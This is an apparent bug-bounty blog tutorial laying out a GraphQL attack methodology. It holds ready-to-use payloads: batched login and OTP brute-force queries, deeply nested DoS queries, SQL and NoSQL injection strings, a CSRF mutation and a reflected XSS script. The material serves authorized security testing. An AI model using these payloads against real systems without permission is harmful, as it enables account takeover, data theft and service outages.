July 15, 2026
API Fuzzing for Bug Bounty — Part 3: GraphQL Security — The Complete Attack Playbook
Series Overview Part 1 — Recon, Discovery & Mapping the Attack Surface Part 2a — Breaking Authentication & Authorization Part 2b —…

By Fuzzyy Duck
9 min read
Series Overview Part 1 — Recon, Discovery & Mapping the Attack Surface Part 2a — Breaking Authentication & Authorization Part 2b — Injection, Bypasses & Output Exploitation Part 3 (this post) — GraphQL Security: The Complete Attack Playbook
GraphQL is everywhere now and most bug bounty hunters still treat it like a black box they'd rather skip. That's exactly why it's worth learning. While everyone else avoids the /graphql endpoint, you can be the one finding introspection leaks, batching-based brute force, field-level IDOR, and nested-query DoS.
This final part of the series is a complete GraphQL attack playbook. We'll cover what makes GraphQL fundamentally different, how to find and fingerprint endpoints, how to extract the entire schema (even when introspection is "disabled"), and then every major vulnerability class with real payloads and tooling. [Free link]
Why GraphQL Is Different
REST gives you many endpoints, each returning a fixed data structure. GraphQL gives you one endpoint and lets the client decide exactly what data to request. You send a query describing the shape of the data you want, and the server returns precisely that.
# One endpoint: POST /graphql
query {
user(id: "123") {
name
email
orders {
id
total
}
}
}# One endpoint: POST /graphql
query {
user(id: "123") {
name
email
orders {
id
total
}
}
}This flexibility is powerful but creates a security model unlike REST:
- There's no per-endpoint authorization — in the traditional sense authorization has to happen at the field and object resolver level, which developers frequently get wrong.
- The client controls query complexity — you can request deeply nested, expensive data structures the developer never anticipated.
- The schema is self-documenting — introspection can hand you the entire API blueprint, including hidden operations.
- Batching lets you send many operations in one HTTP request — which breaks request-count-based rate limiting.
Understanding these four properties is the key to everything that follows.
GraphQL Operation Types
There are three operation types you'll work with:
- Query — read data (the equivalent of REST
GET) - Mutation — write data: create, update, delete (the equivalent of
POST/PUT/DELETE) - Subscription — real-time data over WebSockets (less common, but worth checking)
A handy mental map of CRUD to GraphQL:
Create → mutation { createPost(...) { id } }
Read → query { post(id: "1") { id title } }
Update → mutation { updatePost(...) { id } }
Delete → mutation { deletePost(id: "1") { success } }Create → mutation { createPost(...) { id } }
Read → query { post(id: "1") { id title } }
Update → mutation { updatePost(...) { id } }
Delete → mutation { deletePost(id: "1") { success } }Phase 1: Finding & Fingerprinting GraphQL Endpoints
Common Endpoint Locations
GraphQL doesn't have to live at /graphql, though it usually does. Check all of these:
/graphql
/graphiql
/graphql/console
/graphql/api
/graphql/v1
/api/graphql
/api/v1/graphql
/v1/graphql
/query
/graphql.php
/index.php?graphql
/gql
/___graphql
/altair ← Altair GraphQL client
/playground ← GraphQL Playground
/subscriptions ← WebSocket subscriptions/graphql
/graphiql
/graphql/console
/graphql/api
/graphql/v1
/api/graphql
/api/v1/graphql
/v1/graphql
/query
/graphql.php
/index.php?graphql
/gql
/___graphql
/altair ← Altair GraphQL client
/playground ← GraphQL Playground
/subscriptions ← WebSocket subscriptionsFingerprinting with graphw00f
Different GraphQL server implementations (Apollo, Hasura, GraphQL Yoga, Graphene, etc.) have different default behaviors and known weaknesses. Fingerprinting tells you what you're up against.
graphw00f detects the GraphQL engine in use:
python3 main.py -d -f -t https://api.target.com/graphqlpython3 main.py -d -f -t https://api.target.com/graphqlKnowing the engine matters: for example, some engines have introspection enabled by default, some are vulnerable to specific DoS vectors, and Hasura exposes admin functionality through specific headers if misconfigured.
Confirming It's GraphQL
Send a minimal query and watch the response:
query { __typename }query { __typename }A GraphQL endpoint responds with:
{"data": {"__typename": "Query"}}{"data": {"__typename": "Query"}}If you get this, you've confirmed GraphQL and you're ready to start digging.
Phase 2: Introspection — Extracting the Entire Schema
Introspection is GraphQL's built-in self-documentation feature. When enabled, a special query returns the entire schema: every type, every field, every query, every mutation, every argument, and every description. For an attacker, it's a complete map of the API — including operations that aren't used by the frontend and were never meant to be discovered.
The Introspection Query
The minimal version to check if introspection is on:
{
__schema {
queryType { name }
mutationType { name }
types {
kind
name
description
}
}
}{
__schema {
queryType { name }
mutationType { name }
types {
kind
name
description
}
}
}The full introspection query (the one tools use) pulls every field, argument, type, and relationship. It's long, but you can grab the canonical version from the GraphQL spec or let a tool send it for you.
You can also try introspection via a GET request with the query URL-encoded — sometimes POST is filtered but GET isn't:
GET /graphql?query={__schema{queryType{name}types{name fields{name}}}}GET /graphql?query={__schema{queryType{name}types{name fields{name}}}}Visualizing the Schema
Once you have the introspection result, don't read raw JSON — visualize it. These tools turn the schema dump into an explorable graph:
- GraphQL Voyager — interactive schema visualization; paste your introspection JSON and explore the type relationships visually
- InQL — Burp Suite extension that parses introspection and generates ready-to-send queries for every operation
- GraphQL Playground — interactive IDE with schema docs
The goal: find interesting operations the UI never calls. Look for mutations like deleteUser, updateUserRole, createApiKey, impersonateUser, adminQuery, or anything with admin, internal, debug, or test in the name.
When Introspection Is Disabled
Production servers increasingly disable introspection. Don't stop here — there are several ways around it.
1. Field suggestions ("Did you mean…?")
Many GraphQL servers, even with introspection off, return helpful error messages when you mistype a field name:
{"errors": [{"message": "Cannot query field 'usr' on type 'Query'. Did you mean 'user'?"}]}{"errors": [{"message": "Cannot query field 'usr' on type 'Query'. Did you mean 'user'?"}]}This leaks valid field names one error at a time. Clairvoyance automates this — it reconstructs the schema purely from suggestion-based error messages:
python3 -m clairvoyance -o schema.json https://api.target.com/graphqlpython3 -m clairvoyance -o schema.json https://api.target.com/graphqlIt feeds candidate field names from a wordlist, parses the "did you mean" responses, and rebuilds the schema blindly. This is one of the most powerful techniques in GraphQL hacking — it defeats the most common defense.
2. Try introspection at a different version or environment
The production endpoint might disable introspection while staging doesn't:
api-staging.target.com/graphql
api-dev.target.com/graphql
/api/v1/graphql ← v1 introspection on, v2 offapi-staging.target.com/graphql
api-dev.target.com/graphql
/api/v1/graphql ← v1 introspection on, v2 off- Check for
__typeeven if__schemais blocked
Some servers block __schema but not __type:
{ __type(name: "User") { name fields { name type { name } } } }{ __type(name: "User") { name fields { name type { name } } } }Phase 3: GraphQL Vulnerability Classes
1. IDOR / BOLA in GraphQL
GraphQL IDOR works just like REST IDOR — the resolver doesn't verify ownership of the requested object. But GraphQL adds a twist: you can request objects by ID directly, and you can also traverse relationships to reach data you shouldn't see.
Direct object access:
query {
user(id: "456") { # Not your user ID
name
email
privateMessages { body }
}
}query {
user(id: "456") { # Not your user ID
name
email
privateMessages { body }
}
}Relationship traversal IDOR — this is GraphQL-specific and powerful. Even if user(id:) is protected, you might reach another user's data by traversing from an object you legitimately own:
query {
myOrder(id: "my-order-123") {
id
processedBy { # An admin user object
email
apiKeys { key } # Leak admin credentials via relationship
}
}
}query {
myOrder(id: "my-order-123") {
id
processedBy { # An admin user object
email
apiKeys { key } # Leak admin credentials via relationship
}
}
}Always map relationships from the schema and test whether traversing them bypasses object-level checks.
2. Batching Attacks — Bypassing Rate Limits
This is GraphQL's signature vulnerability. Because GraphQL lets you send multiple operations in a single HTTP request, rate limiters that count HTTP requests are useless. You can attempt thousands of password guesses or OTP codes in one request.
Alias-based batching (most widely supported):
mutation {
attempt1: login(input: {email: "victim@example.com", password: "password1"}) { success token }
attempt2: login(input: {email: "victim@example.com", password: "password2"}) { success token }
attempt3: login(input: {email: "victim@example.com", password: "password3"}) { success token }
attempt4: login(input: {email: "victim@example.com", password: "password4"}) { success token }
# ... hundreds more in one request
}mutation {
attempt1: login(input: {email: "victim@example.com", password: "password1"}) { success token }
attempt2: login(input: {email: "victim@example.com", password: "password2"}) { success token }
attempt3: login(input: {email: "victim@example.com", password: "password3"}) { success token }
attempt4: login(input: {email: "victim@example.com", password: "password4"}) { success token }
# ... hundreds more in one request
}Each alias runs independently and returns its own result. One HTTP request, hundreds of login attempts — the rate limiter sees a single request.
Array-based batching (JSON array of separate operations):
[
{"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass1\"}) { token } }"},
{"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass2\"}) { token } }"},
{"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass3\"}) { token } }"}
][
{"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass1\"}) { token } }"},
{"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass2\"}) { token } }"},
{"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass3\"}) { token } }"}
]Use cases for batching attacks:
- Brute-forcing login credentials
- Brute-forcing OTP / 2FA codes (especially effective — 6-digit codes in a few batched requests)
- Brute-forcing password reset tokens
- Bypassing rate limits on any sensitive mutation
batchql by Assetnote automates testing for batching support and circular query DoS.
3. Denial of Service — Nested Query Attacks
GraphQL's ability to nest queries arbitrarily deep creates a DoS vector analogous to the XML Billion Laughs attack. If two types reference each other (e.g., Post has comments, and each Comment has an author, and each author has posts...), you can build a query that forces the server to resolve an exponentially expanding data structure.
query {
posts {
comments {
post {
comments {
post {
comments {
post {
comments {
# ... nest 20+ levels deep
title
}
}
}
}
}
}
}
}
}query {
posts {
comments {
post {
comments {
post {
comments {
post {
comments {
# ... nest 20+ levels deep
title
}
}
}
}
}
}
}
}
}A single request like this can consume enormous CPU and memory, potentially taking down the server. Test this carefully on bug bounty targets — a real DoS can violate program rules. The safe approach is to demonstrate increasing response times at moderate nesting depth (5–10 levels), prove the lack of query depth limiting, and report it without actually crashing production.
Defenses you're testing for the absence of:
- Query depth limiting
- Query complexity scoring / cost analysis
- Query timeout
- Amount/pagination limits on list fields
Field duplication DoS is a gentler variant — repeat the same expensive field many times:
query {
a1: expensiveField
a2: expensiveField
a3: expensiveField
# ... repeated hundreds of times
}query {
a1: expensiveField
a2: expensiveField
a3: expensiveField
# ... repeated hundreds of times
}4. Injection Through GraphQL
GraphQL is just a query layer — the resolvers behind it still talk to databases, file systems, and other services. Every injection class from Part 2 applies, delivered through GraphQL arguments.
SQL / NoSQL injection in arguments:
query {
users(filter: {username: "test' OR 1=1--"}) {
id
username
}
}
# NoSQL operator injection through a JSON-typed argument
query {
users(filter: {username: {"$ne": null}}) {
id
}
}query {
users(filter: {username: "test' OR 1=1--"}) {
id
username
}
}
# NoSQL operator injection through a JSON-typed argument
query {
users(filter: {username: {"$ne": null}}) {
id
}
}Injection in mutations:
mutation {
createUser(input: {
name: "test",
email: "test@x.com' OR '1'='1"
}) {
id
}
}mutation {
createUser(input: {
name: "test",
email: "test@x.com' OR '1'='1"
}) {
id
}
}Test every argument exactly as you'd test a REST parameter — boolean, time-based, error-based payloads all apply. The GraphQL layer often gives a false sense of safety, so injection bugs survive here that would've been caught on a REST endpoint.
5. Information Disclosure via Verbose Errors
GraphQL servers are notoriously chatty in error messages. Even without introspection, you can reconstruct a great deal of the backend from errors:
- Field suggestions reveal valid field names (the basis of Clairvoyance)
- Type mismatch errors reveal expected types
- Stack traces in development mode reveal file paths, library versions, and internal logic
- Resolver errors sometimes leak raw database errors (which then confirm SQLi)
Deliberately send malformed queries and study every error:
query { user(id: 123) { thisFieldDoesNotExist } }
query { user { name } } # Missing required arg → reveals arg requirements
query { user(id: true) { name } } # Type mismatch → reveals expected typequery { user(id: 123) { thisFieldDoesNotExist } }
query { user { name } } # Missing required arg → reveals arg requirements
query { user(id: true) { name } } # Type mismatch → reveals expected type6. CSRF in GraphQL
If a GraphQL endpoint accepts queries via GET, or accepts POST with Content-Type: application/x-www-form-urlencoded(instead of requiring application/json), it may be vulnerable to CSRF — an attacker's site can trigger authenticated mutations.
# If this works as a GET, it's likely CSRF-able
GET /graphql?query=mutation{deleteAccount}# If this works as a GET, it's likely CSRF-able
GET /graphql?query=mutation{deleteAccount}Test whether state-changing mutations work without a CSRF token and with cross-origin-friendly content types.
7. XSS via GraphQL
If GraphQL query parameters are reflected into an HTML response (for example, in a GraphiQL interface or an error page rendered as HTML), classic reflected XSS is possible:
http://target.com/graphql?query=<script>alert(document.domain)</script>http://target.com/graphql?query=<script>alert(document.domain)</script>This is most common on misconfigured GraphiQL/Playground interfaces left enabled in production.
Phase 4: The GraphQL Tooling Stack
Here's the complete toolkit for GraphQL security testing:
Discovery & Fingerprinting
graphw00f — Fingerprint the GraphQL engine GraphCrawler — Automated GraphQL endpoint discovery & testing graphql-path-enum — Enumerate paths to reach a given type
Schema Extraction
Clairvoyance — Rebuild schema when introspection is disabled GraphQL Voyager — Visualize schema from introspection InQL — Burp extension: introspection → ready queries
Attack & Audit
graphql-cop — Automated security audit (DoS, introspection, CSRF) batchql — Test batching & circular query DoS GraphQLmap — Interactive engine for exploitation & injection graphquail — Burp extension for GraphQL auditing
Helpers & References
graphql.security — Quick online introspection tester — Link AST Explorer — Parse and understand GraphQL queries — Link GraphQL Wordlist (Escape) — Wordlist for blind field discovery — Link
GraphQL Testing Methodology — Step by Step
A repeatable workflow for any GraphQL target:
- Locate the endpoint — check the common paths, confirm with
{ __typename }. - Fingerprint the engine — run graphw00f to know what you're attacking.
- Attempt introspection — send the introspection query (POST and GET).
- If introspection is off — run Clairvoyance to rebuild the schema from error suggestions; check staging and older API versions.
- Visualize the schema — load it into Voyager or InQL; hunt for sensitive operations (admin, delete, role, apiKey, impersonate).
- Map relationships — note which types reference which, for traversal IDOR and nested DoS.
- Test authorization — query objects by ID across two accounts; test relationship traversal IDOR.
- Test batching — confirm alias and array batching work; use it against login/OTP for rate limit bypass.
- Test injection — fire SQLi/NoSQL payloads into every argument on queries and mutations.
- Test DoS safely — demonstrate missing depth/complexity limits without crashing production.
- Study errors — collect every verbose error for information disclosure.
- Check CSRF & XSS — test GET-based mutations and reflected query parameters.
GraphQL Quick Reference Checklist
Discovery
- [ ] Endpoint located and confirmed (
{ __typename }) - [ ] Engine fingerprinted (graphw00f)
- [ ] GraphiQL / Playground exposed in production?
Schema
- [ ] Introspection query (POST and GET)
- [ ]
__typetested if__schemablocked - [ ] Clairvoyance run if introspection disabled
- [ ] Staging / older versions checked for introspection
- [ ] Schema visualized; sensitive operations identified
Vulnerabilities
- [ ] IDOR: direct object access by ID across two accounts
- [ ] IDOR: relationship traversal to restricted data
- [ ] Batching: alias-based and array-based confirmed
- [ ] Batching: applied to login / OTP / reset token brute force
- [ ] DoS: query depth limiting absent (demonstrated safely)
- [ ] DoS: field duplication / circular query tested
- [ ] Injection: SQLi / NoSQL in all query and mutation arguments
- [ ] Information disclosure: verbose errors and field suggestions
- [ ] CSRF: GET-based or form-encoded mutations
- [ ] XSS: reflected query parameters in HTML responses
Series Wrap-Up
That's the full four-part journey:
- Part 1 taught you to find and map the entire API attack surface — passive recon, active enumeration, and documentation discovery.
- Part 2a broke authentication and authorization — JWT attacks, brute force, IDOR/BOLA, and mass assignment.
- Part 2b covered injection and bypasses — SQLi, NoSQL, XXE, SSRF, command injection, and the WAF/rate-limit evasion tricks that get you through.
- Part 3 (this post) handed you the complete GraphQL playbook.
API security is one of the highest-yield areas in bug bounty precisely because so many hunters skip it. The methodology in this series, recon thoroughly, understand the data model, test systematically, and never accept a 403as the end of the road is what separates consistent API bug finders from everyone else.
If this series helped you land a bug, I'd love to hear about it. Drop a comment, and follow the fuzzyyduck blog for more deep-dives and bug bounty methodology.
Happy hunting.